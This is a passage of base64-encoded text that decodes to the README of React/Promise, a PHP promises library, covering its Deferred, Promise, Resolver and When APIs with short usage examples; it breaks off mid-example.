yBQcm9taXNlIGZvcndhcmRpbmcgd29ya3NdKCNob3ctcHJvbWlzZS1mb3J3YXJkaW5nLXdvcmtzKQogICAgICogW1Jlc29sdXRpb24gZm9yd2FyZGluZ10oI3Jlc29sdXRpb24tZm9yd2FyZGluZykKICAgICAqIFtSZWplY3Rpb24gZm9yd2FyZGluZ10oI3JlamVjdGlvbi1mb3J3YXJkaW5nKQogICAgICogW01peGVkIHJlc29sdXRpb24gYW5kIHJlamVjdGlvbiBmb3J3YXJkaW5nXSgjbWl4ZWQtcmVzb2x1dGlvbi1hbmQtcmVqZWN0aW9uLWZvcndhcmRpbmcpCiAgICAgKiBbUHJvZ3Jlc3MgZXZlbnQgZm9yd2FyZGluZ10oI3Byb2dyZXNzLWV2ZW50LWZvcndhcmRpbmcpCjUuIFtDcmVkaXRzXSgjY3JlZGl0cykKNi4gW0xpY2Vuc2VdKCNsaWNlbnNlKQoKSW50cm9kdWN0aW9uCi0tLS0tLS0tLS0tLQoKUmVhY3QvUHJvbWlzZSBpcyBhIGxpYnJhcnkgaW1wbGVtZW50aW5nCltDb21tb25KUyBQcm9taXNlcy9BXShodHRwOi8vd2lraS5jb21tb25qcy5vcmcvd2lraS9Qcm9taXNlcy9BKSBmb3IgUEhQLgoKSXQgYWxzbyBwcm92aWRlcyBzZXZlcmFsIG90aGVyIHVzZWZ1bCBQcm9taXNlLXJlbGF0ZWQgY29uY2VwdHMsIHN1Y2ggYXMgam9pbmluZwptdWx0aXBsZSBQcm9taXNlcyBhbmQgbWFwcGluZyBhbmQgcmVkdWNpbmcgY29sbGVjdGlvbnMgb2YgUHJvbWlzZXMuCgpJZiB5b3UndmUgbmV2ZXIgaGVhcmQgYWJvdXQgUHJvbWlzZXMgYmVmb3JlLApbcmVhZCB0aGlzIGZpcnN0XShodHRwczovL2dpc3QuZ2l0aHViLmNvbS8zODg5OTcwKS4KCkNvbmNlcHRzCi0tLS0tLS0tCgojIyMgRGVmZXJyZWQKCkEgKipEZWZlcnJlZCoqIHJlcHJlc2VudHMgYSBjb21wdXRhdGlvbiBvciB1bml0IG9mIHdvcmsgdGhhdCBtYXkgbm90IGhhdmUKY29tcGxldGVkIHlldC4gVHlwaWNhbGx5IChidXQgbm90IGFsd2F5cyksIHRoYXQgY29tcHV0YXRpb24gd2lsbCBiZSBzb21ldGhpbmcKdGhhdCBleGVjdXRlcyBhc3luY2hyb25vdXNseSBhbmQgY29tcGxldGVzIGF0IHNvbWUgcG9pbnQgaW4gdGhlIGZ1dHVyZS4KCiMjIyBQcm9taXNlCgpXaGlsZSBhIERlZmVycmVkIHJlcHJlc2VudHMgdGhlIGNvbXB1dGF0aW9uIGl0c2VsZiwgYSAqKlByb21pc2UqKiByZXByZXNlbnRzCnRoZSByZXN1bHQgb2YgdGhhdCBjb21wdXRhdGlvbi4gVGh1cywgZWFjaCBEZWZlcnJlZCBoYXMgYSBQcm9taXNlIHRoYXQgYWN0cyBhcwphIHBsYWNlaG9sZGVyIGZvciBpdHMgYWN0dWFsIHJlc3VsdC4KCiMjIyBSZXNvbHZlcgoKQSAqKlJlc29sdmVyKiogY2FuIHJlc29sdmUsIHJlamVjdCBvciB0cmlnZ2VyIHByb2dyZXNzIG5vdGlmaWNhdGlvbnMgb24gYmVoYWxmCm9mIGEgRGVmZXJyZWQgd2l0aG91dCBrbm93aW5nIGFueSBkZXRhaWxzIGFib3V0IGNvbnN1bWVycy4KClNvbWV0aW1lcyBpdCBjYW4gYmUgdXNlZnVsIHRvIGhhbmQgb3V0IGEgcmVzb2x2ZXIgYW5kIGFsbG93IGFub3RoZXIKKHBvc3NpYmx5IHVudHJ1c3RlZCkgcGFydHkgdG8gcHJvdmlkZSB0aGUgcmVzb2x1dGlvbiB2YWx1ZSBmb3IgYSBQcm9taXNlLgoKQVBJCi0tLQoKIyMjIERlZmVycmVkCgpBIGRlZmVycmVkIHJlcHJlc2VudHMgYW4gb3BlcmF0aW9uIHdob3NlIHJlc29sdXRpb24gaXMgcGVuZGluZy4gSXQgaGFzIHNlcGFyYXRlClByb21pc2UgYW5kIFJlc29sdmVyIHBhcnRzIHRoYXQgY2FuIGJlIHNhZmVseSBnaXZlbiBvdXQgdG8gc2VwYXJhdGUgZ3JvdXBzIG9mCmNvbnN1bWVycyBhbmQgcHJvZHVjZXJzIHRvIGFsbG93IHNhZmUsIG9uZS13YXkgY29tbXVuaWNhdGlvbi4KCmBgYCBwaHAKJGRlZmVycmVkID0gbmV3IFJlYWN0XFByb21pc2VcRGVmZXJyZWQoKTsKCiRwcm9taXNlICA9ICRkZWZlcnJlZC0+cHJvbWlzZSgpOwokcmVzb2x2ZXIgPSAkZGVmZXJyZWQtPnJlc29sdmVyKCk7CmBgYAoKQWx0aG91Z2ggYSBEZWZlcnJlZCBoYXMgdGhlIGZ1bGwgUHJvbWlzZSArIFJlc29sdmVyIEFQSSwgdGhpcyBzaG91bGQgYmUgdXNlZCBmb3IKY29udmVuaWVuY2Ugb25seSBieSB0aGUgY3JlYXRvciBvZiB0aGUgZGVmZXJyZWQuIE9ubHkgdGhlIFByb21pc2UgYW5kIFJlc29sdmVyCnNob3VsZCBiZSBnaXZlbiB0byBjb25zdW1lcnMgYW5kIHByb2R1Y2Vycy4KCmBgYCBwaHAKJGRlZmVycmVkID0gbmV3IFJlYWN0XFByb21pc2VcRGVmZXJyZWQoKTsKCiRkZWZlcnJlZC0+dGhlbihjYWxsYWJsZSAkZnVsZmlsbGVkSGFuZGxlciA9IG51bGwsIGNhbGxhYmxlICRlcnJvckhhbmRsZXIgPSBudWxsLCBjYWxsYWJsZSAkcHJvZ3Jlc3NIYW5kbGVyID0gbnVsbCk7CiRkZWZlcnJlZC0+cmVzb2x2ZShtaXhlZCAkcHJvbWlzZU9yVmFsdWUgPSBudWxsKTsKJGRlZmVycmVkLT5yZWplY3QobWl4ZWQgJHJlYXNvbiA9IG51bGwpOwokZGVmZXJyZWQtPnByb2dyZXNzKG1peGVkICR1cGRhdGUgPSBudWxsKTsKYGBgCgojIyMgUHJvbWlzZQoKVGhlIFByb21pc2UgcmVwcmVzZW50cyB0aGUgZXZlbnR1YWwgb3V0Y29tZSwgd2hpY2ggaXMgZWl0aGVyIGZ1bGZpbGxtZW50CihzdWNjZXNzKSBhbmQgYW4gYXNzb2NpYXRlZCB2YWx1ZSwgb3IgcmVqZWN0aW9uIChmYWlsdXJlKSBhbmQgYW4gYXNzb2NpYXRlZApyZWFzb24uIFRoZSBQcm9taXNlIHByb3ZpZGVzIG1lY2hhbmlzbXMgZm9yIGFycmFuZ2luZyB0byBjYWxsIGEgZnVuY3Rpb24gb24gaXRzCnZhbHVlIG9yIHJlYXNvbiwgYW5kIHByb2R1Y2VzIGEgbmV3IFByb21pc2UgZm9yIHRoZSByZXN1bHQuCgpBIFByb21pc2UgaGFzIGEgc2luZ2xlIG1ldGhvZCBgdGhlbigpYCB3aGljaCByZWdpc3RlcnMgbmV3IGZ1bGZpbGxlZCwgZXJyb3IgYW5kCnByb2dyZXNzIGhhbmRsZXJzIHdpdGggdGhpcyBQcm9taXNlIChhbGwgcGFyYW1ldGVycyBhcmUgb3B0aW9uYWwpOgoKYGBgIHBocAokbmV3UHJvbWlzZSA9ICRwcm9taXNlLT50aGVuKGNhbGxhYmxlICRmdWxmaWxsZWRIYW5kbGVyID0gbnVsbCwgY2FsbGFibGUgJGVycm9ySGFuZGxlciA9IG51bGwsIGNhbGxhYmxlICRwcm9ncmVzc0hhbmRsZXIgPSBudWxsKTsKYGBgCgogICogYCRmdWxmaWxsZWRIYW5kbGVyYCB3aWxsIGJlIGludm9rZWQgb25jZSB0aGUgUHJvbWlzZSBpcyBmdWxmaWxsZWQgYW5kIHBhc3NlZAogICAgdGhlIHJlc3VsdCBhcyB0aGUgZmlyc3QgYXJndW1lbnQuCiAgKiBgJGVycm9ySGFuZGxlcmAgd2lsbCBiZSBpbnZva2VkIG9uY2UgdGhlIFByb21pc2UgaXMgcmVqZWN0ZWQgYW5kIHBhc3NlZCB0aGUKICAgIHJlYXNvbiBhcyB0aGUgZmlyc3QgYXJndW1lbnQuCiAgKiBgJHByb2dyZXNzSGFuZGxlcmAgd2lsbCBiZSBpbnZva2VkIHdoZW5ldmVyIHRoZSBwcm9kdWNlciBvZiB0aGUgUHJvbWlzZQogICAgdHJpZ2dlcnMgcHJvZ3Jlc3Mgbm90aWZpY2F0aW9ucyBhbmQgcGFzc2VkIGEgc2luZ2xlIGFyZ3VtZW50ICh3aGF0ZXZlciBpdAogICAgd2FudHMpIHRvIGluZGljYXRlIHByb2dyZXNzLgoKUmV0dXJucyBhIG5ldyBQcm9taXNlIHRoYXQgd2lsbCBmdWxmaWxsIHdpdGggdGhlIHJldHVybiB2YWx1ZSBvZiBlaXRoZXIKYCRmdWxmaWxsZWRIYW5kbGVyYCBvciBgJGVycm9ySGFuZGxlcmAsIHdoaWNoZXZlciBpcyBjYWxsZWQsIG9yIHdpbGwgcmVqZWN0IHdpdGgKdGhlIHRocm93biBleGNlcHRpb24gaWYgZWl0aGVyIHRocm93cy4KCk9uY2UgaW4gdGhlIGZ1bGZpbGxlZCBvciByZWplY3RlZCBzdGF0ZSwgYSBQcm9taXNlIGJlY29tZXMgaW1tdXRhYmxlLgpOZWl0aGVyIGl0cyBzdGF0ZSBub3IgaXRzIHJlc3VsdCAob3IgZXJyb3IpIGNhbiBiZSBtb2RpZmllZC4KCkEgUHJvbWlzZSBtYWtlcyB0aGUgZm9sbG93aW5nIGd1YXJhbnRlZXMgYWJvdXQgaGFuZGxlcnMgcmVnaXN0ZXJlZCBpbgp0aGUgc2FtZSBjYWxsIHRvIGB0aGVuKClgOgoKICAxLiBPbmx5IG9uZSBvZiBgJGZ1bGZpbGxlZEhhbmRsZXJgIG9yIGAkZXJyb3JIYW5kbGVyYCB3aWxsIGJlIGNhbGxlZCwKICAgICBuZXZlciBib3RoLgogIDIuIGAkZnVsZmlsbGVkSGFuZGxlcmAgYW5kIGAkZXJyb3JIYW5kbGVyYCB3aWxsIG5ldmVyIGJlIGNhbGxlZCBtb3JlCiAgICAgdGhhbiBvbmNlLgogIDMuIGAkcHJvZ3Jlc3NIYW5kbGVyYCBtYXkgYmUgY2FsbGVkIG11bHRpcGxlIHRpbWVzLgoKIyMjIyBTZWUgYWxzbwoKKiBbV2hlbjo6cmVzb2x2ZSgpXSgjd2hlbnJlc29sdmUpIC0gQ3JlYXRpbmcgYSByZXNvbHZlZCBQcm9taXNlCiogW1doZW46OnJlamVjdCgpXSgjd2hlbnJlamVjdCkgLSBDcmVhdGluZyBhIHJlamVjdGVkIFByb21pc2UKCiMjIyBSZXNvbHZlcgoKVGhlIFJlc29sdmVyIHJlcHJlc2VudHMgdGhlIHJlc3BvbnNpYmlsaXR5IG9mIGZ1bGZpbGxpbmcsIHJlamVjdGluZyBhbmQKbm90aWZ5aW5nIHRoZSBhc3NvY2lhdGVkIFByb21pc2UuCgpBIFJlc29sdmVyIGhhcyAzIG1ldGhvZHM6IGByZXNvbHZlKClgLCBgcmVqZWN0KClgIGFuZCBgcHJvZ3Jlc3MoKWA6CgpgYGAgcGhwCiRyZXNvbHZlci0+cmVzb2x2ZShtaXhlZCAkcmVzdWx0ID0gbnVsbCk7CmBgYAoKUmVzb2x2ZXMgYSBEZWZlcnJlZC4gQWxsIGNvbnN1bWVycyBhcmUgbm90aWZpZWQgYnkgaGF2aW5nIHRoZWlyCmAkZnVsZmlsbGVkSGFuZGxlcmAgKHdoaWNoIHRoZXkgcmVnaXN0ZXJlZCB2aWEgYCRwcm9taXNlLT50aGVuKClgKSBjYWxsZWQgd2l0aApgJHJlc3VsdGAuCgpJZiBgJHJlc3VsdGAgaXRzZWxmIGlzIGEgcHJvbWlzZSwgdGhlIERlZmVycmVkIHdpbGwgdHJhbnNpdGlvbiB0byB0aGUgc3RhdGUgb2YKdGhpcyBwcm9taXNlIG9uY2UgaXQgaXMgcmVzb2x2ZWQuCgpgYGAgcGhwCiRyZXNvbHZlci0+cmVqZWN0KG1peGVkICRyZWFzb24gPSBudWxsKTsKYGBgCgpSZWplY3RzIGEgRGVmZXJyZWQsIHNpZ25hbGxpbmcgdGhhdCB0aGUgRGVmZXJyZWQncyBjb21wdXRhdGlvbiBmYWlsZWQuCkFsbCBjb25zdW1lcnMgYXJlIG5vdGlmaWVkIGJ5IGhhdmluZyB0aGVpciBgJGVycm9ySGFuZGxlcmAgKHdoaWNoIHRoZXkKcmVnaXN0ZXJlZCB2aWEgYCRwcm9taXNlLT50aGVuKClgKSBjYWxsZWQgd2l0aCBgJHJlYXNvbmAuCgpJZiBgJHJlYXNvbmAgaXRzZWxmIGlzIGEgcHJvbWlzZSwgdGhlIERlZmVycmVkIHdpbGwgYmUgcmVqZWN0ZWQgd2l0aCB0aGUgb3V0Y29tZQpvZiB0aGlzIHByb21pc2UgcmVnYXJkbGVzcyB3aGV0aGVyIGl0IGZ1bGZpbGxzIG9yIHJlamVjdHMuCgpgYGAgcGhwCiRyZXNvbHZlci0+cHJvZ3Jlc3MobWl4ZWQgJHVwZGF0ZSA9IG51bGwpOwpgYGAKClRyaWdnZXJzIHByb2dyZXNzIG5vdGlmaWNhdGlvbnMsIHRvIGluZGljYXRlIHRvIGNvbnN1bWVycyB0aGF0IHRoZSBjb21wdXRhdGlvbgppcyBtYWtpbmcgcHJvZ3Jlc3MgdG93YXJkIGl0cyByZXN1bHQuCgpBbGwgY29uc3VtZXJzIGFyZSBub3RpZmllZCBieSBoYXZpbmcgdGhlaXIgYCRwcm9ncmVzc0hhbmRsZXJgICh3aGljaCB0aGV5CnJlZ2lzdGVyZWQgdmlhIGAkcHJvbWlzZS0+dGhlbigpYCkgY2FsbGVkIHdpdGggYCR1cGRhdGVgLgoKIyMjIFdoZW4KClRoZSBgUmVhY3RcUHJvbWlzZVxXaGVuYCBjbGFzcyBwcm92aWRlcyB1c2VmdWwgbWV0aG9kcyBmb3IgY3JlYXRpbmcsIGpvaW5pbmcsCm1hcHBpbmcgYW5kIHJlZHVjaW5nIGNvbGxlY3Rpb25zIG9mIFByb21pc2VzLgoKIyMjIyBXaGVuOjphbGwoKQoKYGBgIHBocAokcHJvbWlzZSA9IFJlYWN0XFByb21pc2VcV2hlbjo6YWxsKGFycmF5fFJlYWN0XFByb21pc2VcUHJvbWlzZUludGVyZmFjZSAkcHJvbWlzZXNPclZhbHVlcywgY2FsbGFibGUgJGZ1bGZpbGxlZEhhbmRsZXIgPSBudWxsLCBjYWxsYWJsZSAkZXJyb3JIYW5kbGVyID0gbnVsbCwgY2FsbGFibGUgJHByb2dyZXNzSGFuZGxlciA9IG51bGwpOwpgYGAKClJldHVybnMgYSBQcm9taXNlIHRoYXQgd2lsbCByZXNvbHZlIG9ubHkgb25jZSBhbGwgdGhlIGl0ZW1zIGluCmAkcHJvbWlzZXNPclZhbHVlc2AgaGF2ZSByZXNvbHZlZC4gVGhlIHJlc29sdXRpb24gdmFsdWUgb2YgdGhlIHJldHVybmVkIFByb21pc2UKd2lsbCBiZSBhbiBhcnJheSBjb250YWluaW5nIHRoZSByZXNvbHV0aW9uIHZhbHVlcyBvZiBlYWNoIG9mIHRoZSBpdGVtcyBpbgpgJHByb21pc2VzT3JWYWx1ZXNgLgoKIyMjIyBXaGVuOjphbnkoKQoKYGBgIHBocAokcHJvbWlzZSA9IFJlYWN0XFByb21pc2VcV2hlbjo6YW55KGFycmF5fFJlYWN0XFByb21pc2VcUHJvbWlzZUludGVyZmFjZSAkcHJvbWlzZXNPclZhbHVlcywgY2FsbGFibGUgJGZ1bGZpbGxlZEhhbmRsZXIgPSBudWxsLCBjYWxsYWJsZSAkZXJyb3JIYW5kbGVyID0gbnVsbCwgY2FsbGFibGUgJHByb2dyZXNzSGFuZGxlciA9IG51bGwpOwpgYGAKClJldHVybnMgYSBQcm9taXNlIHRoYXQgd2lsbCByZXNvbHZlIHdoZW4gYW55IG9uZSBvZiB0aGUgaXRlbXMgaW4KYCRwcm9taXNlc09yVmFsdWVzYCByZXNvbHZlcy4gVGhlIHJlc29sdXRpb24gdmFsdWUgb2YgdGhlIHJldHVybmVkIFByb21pc2UKd2lsbCBiZSB0aGUgcmVzb2x1dGlvbiB2YWx1ZSBvZiB0aGUgdHJpZ2dlcmluZyBpdGVtLgoKVGhlIHJldHVybmVkIFByb21pc2Ugd2lsbCBvbmx5IHJlamVjdCBpZiAqYWxsKiBpdGVtcyBpbiBgJHByb21pc2VzT3JWYWx1ZXNgIGFyZQpyZWplY3RlZC4gVGhlIHJlamVjdGlvbiB2YWx1ZSB3aWxsIGJlIGFuIGFycmF5IG9mIGFsbCByZWplY3Rpb24gcmVhc29ucy4KCiMjIyMgV2hlbjo6c29tZSgpCgpgYGAgcGhwCiRwcm9taXNlID0gUmVhY3RcUHJvbWlzZVxXaGVuOjpzb21lKGFycmF5fFJlYWN0XFByb21pc2VcUHJvbWlzZUludGVyZmFjZSAkcHJvbWlzZXNPclZhbHVlcywgaW50ZWdlciAkaG93TWFueSwgY2FsbGFibGUgJGZ1bGZpbGxlZEhhbmRsZXIgPSBudWxsLCBjYWxsYWJsZSAkZXJyb3JIYW5kbGVyID0gbnVsbCwgY2FsbGFibGUgJHByb2dyZXNzSGFuZGxlciA9IG51bGwpOwpgYGAKClJldHVybnMgYSBQcm9taXNlIHRoYXQgd2lsbCByZXNvbHZlIHdoZW4gYCRob3dNYW55YCBvZiB0aGUgc3VwcGxpZWQgaXRlbXMgaW4KYCRwcm9taXNlc09yVmFsdWVzYCByZXNvbHZlLiBUaGUgcmVzb2x1dGlvbiB2YWx1ZSBvZiB0aGUgcmV0dXJuZWQgUHJvbWlzZQp3aWxsIGJlIGFuIGFycmF5IG9mIGxlbmd0aCBgJGhvd01hbnlgIGNvbnRhaW5pbmcgdGhlIHJlc29sdXRpb24gdmFsdWVzIG9mIHRoZQp0cmlnZ2VyaW5nIGl0ZW1zLgoKVGhlIHJldHVybmVkIFByb21pc2Ugd2lsbCByZWplY3QgaWYgaXQgYmVjb21lcyBpbXBvc3NpYmxlIGZvciBgJGhvd01hbnlgIGl0ZW1zCnRvIHJlc29sdmUgKHRoYXQgaXMsIHdoZW4gYChjb3VudCgkcHJvbWlzZXNPclZhbHVlcykgLSAkaG93TWFueSkgKyAxYCBpdGVtcwpyZWplY3QpLiBUaGUgcmVqZWN0aW9uIHZhbHVlIHdpbGwgYmUgYW4gYXJyYXkgb2YKYChjb3VudCgkcHJvbWlzZXNPclZhbHVlcykgLSAkaG93TWFueSkgKyAxYCByZWplY3Rpb24gcmVhc29ucy4KCiMjIyMgV2hlbjo6bWFwKCkKCmBgYCBwaHAKJHByb21pc2UgPSBSZWFjdFxQcm9taXNlXFdoZW46Om1hcChhcnJheXxSZWFjdFxQcm9taXNlXFByb21pc2VJbnRlcmZhY2UgJHByb21pc2VzT3JWYWx1ZXMsIGNhbGxhYmxlICRtYXBGdW5jKTsKYGBgCgpUcmFkaXRpb25hbCBtYXAgZnVuY3Rpb24sIHNpbWlsYXIgdG8gYGFycmF5X21hcCgpYCwgYnV0IGFsbG93cyBpbnB1dCB0byBjb250YWluClByb21pc2VzIGFuZC9vciB2YWx1ZXMsIGFuZCBgJG1hcEZ1bmNgIG1heSByZXR1cm4gZWl0aGVyIGEgdmFsdWUgb3IgYSBQcm9taXNlLgoKVGhlIG1hcCBmdW5jdGlvbiByZWNlaXZlcyBlYWNoIGl0ZW0gYXMgYXJndW1lbnQsIHdoZXJlIGl0ZW0gaXMgYSBmdWxseSByZXNvbHZlZAp2YWx1ZSBvZiBhIFByb21pc2Ugb3IgdmFsdWUgaW4gYCRwcm9taXNlc09yVmFsdWVzYC4KCiMjIyMgV2hlbjo6cmVkdWNlKCkKCmBgYCBwaHAKJHByb21pc2UgPSBSZWFjdFxQcm9taXNlXFdoZW46OnJlZHVjZShhcnJheXxSZWFjdFxQcm9taXNlXFByb21pc2VJbnRlcmZhY2UgJHByb21pc2VzT3JWYWx1ZXMsIGNhbGxhYmxlICRyZWR1Y2VGdW5jICwgJGluaXRpYWxWYWx1ZSA9IG51bGwpOwpgYGAKClRyYWRpdGlvbmFsIHJlZHVjZSBmdW5jdGlvbiwgc2ltaWxhciB0byBgYXJyYXlfcmVkdWNlKClgLCBidXQgaW5wdXQgbWF5IGNvbnRhaW4KUHJvbWlzZXMgYW5kL29yIHZhbHVlcywgYW5kIGAkcmVkdWNlRnVuY2AgbWF5IHJldHVybiBlaXRoZXIgYSB2YWx1ZSBvciBhClByb21pc2UsICphbmQqIGAkaW5pdGlhbFZhbHVlYCBtYXkgYmUgYSBQcm9taXNlIG9yIGEgdmFsdWUgZm9yIHRoZSBzdGFydGluZwp2YWx1ZS4KCiMjIyMgV2hlbjo6cmVzb2x2ZSgpCgpgYGAgcGhwCiRwcm9taXNlID0gUmVhY3RcUHJvbWlzZVxXaGVuOjpyZXNvbHZlKG1peGVkICRwcm9taXNlT3JWYWx1ZSk7CmBgYAoKQ3JlYXRlcyBhIHJlc29sdmVkIFByb21pc2UgZm9yIHRoZSBzdXBwbGllZCBgJHByb21pc2VPclZhbHVlYC4KCklmIGAkcHJvbWlzZU9yVmFsdWVgIGlzIGEgdmFsdWUsIGl0IHdpbGwgYmUgdGhlIHJlc29sdXRpb24gdmFsdWUgb2YgdGhlCnJldHVybmVkIFByb21pc2UuCgpJZiBgJHByb21pc2VPclZhbHVlYCBpcyBhIFByb21pc2UsIGl0IHdpbGwgc2ltcGx5IGJlIHJldHVybmVkLgoKIyMjIyBXaGVuOjpyZWplY3QoKQoKYGBgIHBocAokcHJvbWlzZSA9IFJlYWN0XFByb21pc2VcV2hlbjo6cmVqZWN0KG1peGVkICRwcm9taXNlT3JWYWx1ZSk7CmBgYAoKQ3JlYXRlcyBhIHJlamVjdGVkIFByb21pc2UgZm9yIHRoZSBzdXBwbGllZCBgJHByb21pc2VPclZhbHVlYC4KCklmIGAkcHJvbWlzZU9yVmFsdWVgIGlzIGEgdmFsdWUsIGl0IHdpbGwgYmUgdGhlIHJlamVjdGlvbiB2YWx1ZSBvZiB0aGUKcmV0dXJuZWQgUHJvbWlzZS4KCklmIGAkcHJvbWlzZU9yVmFsdWVgIGlzIGEgUHJvbWlzZSwgaXRzIGNvbXBsZXRpb24gdmFsdWUgd2lsbCBiZSB0aGUgcmVqZWN0ZWQKdmFsdWUgb2YgdGhlIHJldHVybmVkIFByb21pc2UuCgpUaGlzIGNhbiBiZSB1c2VmdWwgaW4gc2l0dWF0aW9ucyB3aGVyZSB5b3UgbmVlZCB0byByZWplY3QgYSBQcm9taXNlIHdpdGhvdXQKdGhyb3dpbmcgYW4gZXhjZXB0aW9uLiBGb3IgZXhhbXBsZSwgaXQgYWxsb3dzIHlvdSB0byBwcm9wYWdhdGUgYSByZWplY3Rpb24gd2l0aAp0aGUgdmFsdWUgb2YgYW5vdGhlciBQcm9taXNlLgoKIyMjIyBXaGVuOjpsYXp5KCkKCmBgYCBwaHAKJHByb21pc2UgPSBSZWFjdFxQcm9taXNlXFdoZW46OmxhenkoY2FsbGFibGUgJGZhY3RvcnkpOwpgYGAKCkNyZWF0ZXMgYSBQcm9taXNlIHdoaWNoIHdpbGwgYmUgbGF6aWx5IGluaXRpYWxpemVkIGJ5IGAkZmFjdG9yeWAgb25jZSBhIGNvbnN1bWVyCmNhbGxzIHRoZSBgdGhlbigpYCBtZXRob2QuCgpgYGBwaHAKJGZhY3RvcnkgPSBmdW5jdGlvbiAoKSB7CiAgICAkZGVmZXJyZWQgPSBuZXcgUmVhY3RcUHJvbWlzZVxEZWZlcnJlZCgpOwoKICAgIC8vIERvIHNvbWUgaGVhdnkgc3R1ZmYgaGVyZSBhbmQgcmVzb2x2ZSB0aGUgRGVmZXJyZWQgb25jZSBjb21wbGV0ZWQKCiAgICByZXR1cm4gJGRlZmVycmVkLT5wcm9taXNlKCk7Cn07CgokcHJvbWlzZSA9IFJlYWN0XFByb21pc2VcV2hlbjo6bGF6eSgkZmFjdG9yeSk7CgovLyAkZmFjdG9yeSB3aWxsIG9ubHkgYmUgZXhlY3V0ZWQgb25jZSB3ZSBjYWxsIHRoZW4oKQokcHJvbWlzZS0+dGhlbihmdW5jdGlvbiAoJHZhbHVlKSB7Cn0pOwpgYGAKCiMjIyBQcm9taXNvcgoKVGhlIGBSZWFjdFxQcm9taXNlXFByb21pc29ySW50ZXJmYWNlYCBwcm92aWRlcyBhIGNvbW1vbiBpbnRlcmZhY2UgZm9yIG9iamVjdHMKdGhhdCBwcm92aWRlIGEgcHJvbWlzZS4gYFJlYWN0XFByb21pc2VcRGVmZXJyZWRgIGltcGxlbWVudHMgaXQsIGJ1dCBzaW5jZSBpdAppcyBwYXJ0IG9mIHRoZSBwdWJsaWMgQVBJIGFueW9uZSBjYW4gaW1wbGVtZW50IGl0LgoKRXhhbXBsZXMKLS0tLS0tLS0KCiMjIyBIb3cgdG8gdXNlIERlZmVycmVkCgpgYGAgcGhwCmZ1bmN0aW9uIGdldEF3ZXNvbWVSZXN1bHRQcm9taXNlKCkKewogICAgJGRlZmVycmVkID0gbmV3IFJlYWN0XFByb21pc2VcRGVmZXJyZWQoKTsKCiAgICAvLyBQYXNzIG9ubHkgdGhlIFJlc29sdmVyLCB0byBwcm92aWRlIHRoZSByZXNvbHV0aW9uIHZhbHVlIGZvciB0aGUgUHJvbWlzZQogICAgY29tcHV0ZUF3ZXNvbWVSZXN1bHRBc3luY2hyb25vdXNseSgkZGVmZXJyZWQtPnJlc29sdmVyKCkpOwoKICAgIC8vIFJldHVybiBvbmx5IHRoZSBQcm9taXNlLCBzbyB0aGF0IHRoZSBjYWxsZXIgY2Fubm90CiAgICAvLyByZXNvbHZlLCByZWplY3QsIG9yIG90aGVyd2lzZSBtdWNrIHdpdGggdGhlIG9yaWdpbmFsIERlZmVycmVkLgogICAgcmV0dXJuICRkZWZlcnJlZC0+cHJvbWlzZSgpOwp9CgpnZXRBd2Vzb21lUmVzdWx0UHJvbWlzZSgpCiAgICAtPnRoZW4oCiAgICAgICAgZnVuY3Rpb24gKCRyZXN1bHQpIHsKICAgICAgICAgICAgLy8gRGVmZXJyZWQgcmVzb2x2ZWQsIGRvIHNvbWV0aGluZyB3aXRoICRyZXN1bHQKICAgICAgICB9LAogICAgICAgIGZ1bmN0aW9uICgkcmVhc29uKSB7CiAgICAgICAgICAgIC8vIERlZmVycmVkIHJlamVjdGVkLCBkbyBzb21ldGhpbmcgd2l0aCAkcmVhc29uCiAgICAgICAgfSwKICAgICAgICBmdW5jdGlvbiAoJHVwZGF0ZSkgewogICAgICAgICAgICAvLyBQcm9ncmVzcyBub3RpZmljYXRpb24gdHJpZ2dlcmVkLCBkbyBzb21ldGhpbmcgd2l0aCAkdXBkYXRlCiAgICAgICAgfQogICAgKTsKYGBgCgojIyMgSG93IFByb21pc2UgZm9yd2FyZGluZyB3b3JrcwoKQSBmZXcgc2ltcGxlIGV4YW1wbGVzIHRvIHNob3cgaG93IHRoZSBtZWNoYW5pY3Mgb2YgUHJvbWlzZXMvQSBmb3J3YXJkaW5nIHdvcmtzLgpUaGVzZSBleGFtcGxlcyBhcmUgY29udHJpdmVkLCBvZiBjb3Vyc2UsIGFuZCBpbiByZWFsIHVzYWdlLCBQcm9taXNlIGNoYWlucyB3aWxsCnR5cGljYWxseSBiZSBzcHJlYWQgYWNyb3NzIHNldmVyYWwgZnVuY3Rpb24gY2FsbHMsIG9yIGV2ZW4gc2V2ZXJhbCBsZXZlbHMgb2YKeW91ciBhcHBsaWNhdGlvbiBhcmNoaXRlY3R1cmUuCgojIyMjIFJlc29sdXRpb24gZm9yd2FyZGluZwoKUmVzb2x2ZWQgUHJvbWlzZXMgZm9yd2FyZCByZXNvbHV0aW9uIHZhbHVlcyB0byB0aGUgbmV4dCBQcm9taXNlLgpUaGUgZmlyc3QgUHJvbWlzZSwgYCRkZWZlcnJlZC0+cHJvbWlzZSgpYCwgd2lsbCByZXNvbHZlIHdpdGggdGhlIHZhbHVlIHBhc3NlZAp0byBgJGRlZmVycmVkLT5yZXNvbHZlKClgIGJlbG93LgoKRWFjaCBjYWxsIHRvIGB0aGVuKClgIHJldHVybnMgYSBuZXcgUHJvbWlzZSB0aGF0IHdpbGwgcmVzb2x2ZSB3aXRoIHRoZSByZXR1cm4KdmFsdWUgb2YgdGhlIHByZXZpb3VzIGhhbmRsZXIuIFRoaXMgY3JlYXRlcyBhIFByb21pc2UgInBpcGVsaW5lIi4KCmBgYCBwaHAKJGRlZmVycmVkID0gbmV3IFJlYWN0XFByb21pc2VcRGVmZXJyZWQoKTsKCiRkZWZlcnJlZC0+cHJvbWlzZSgpCiAgICAtPnRoZW4oZnVuY3Rpb24gKCR4KSB7CiAgICAgICAgLy8gJHggd2lsbCBiZSB0aGUgdmFsdWUgcGFzc2VkIHRvICRkZWZlcnJlZC0+cmVzb2x2ZSgpIGJlbG93CiAgICAgICAgLy8gYW5kIHJldHVybnMgYSAqbmV3IFByb21pc2UqIGZvciAkeCArIDEKICAgICAgICByZXR1cm4gJHggKyAxOwogICAgfSkKICAgIC0+dGhlbihmdW5jdGlvbiAoJHgpIHsKICAgICAgICAvLyAkeCA9PT0gMgogICAgICAgIC8vIFRoaXMgaGFuZGxlciByZWNlaXZlcyB0aGUgcmV0dXJuIHZhbHVlIG9mIHRoZQogICAgICAgIC8vIHByZXZpb3VzIGhhbmRsZXIuCiAgICAgICAgcmV0dXJuICR4ICsgMTsKICAgIH0pCiAgICAtPnRoZW4oZnVuY3Rpb24gKCR4KSB7CiAgICAgICAgLy8gJHggPT09IDMKICAgICAgICAvLyBUaGlzIGhhbmRsZXIgcmVjZWl2ZXMgdGhlIHJldHVybiB2YWx1ZSBvZiB0aGUKICAgICAgIC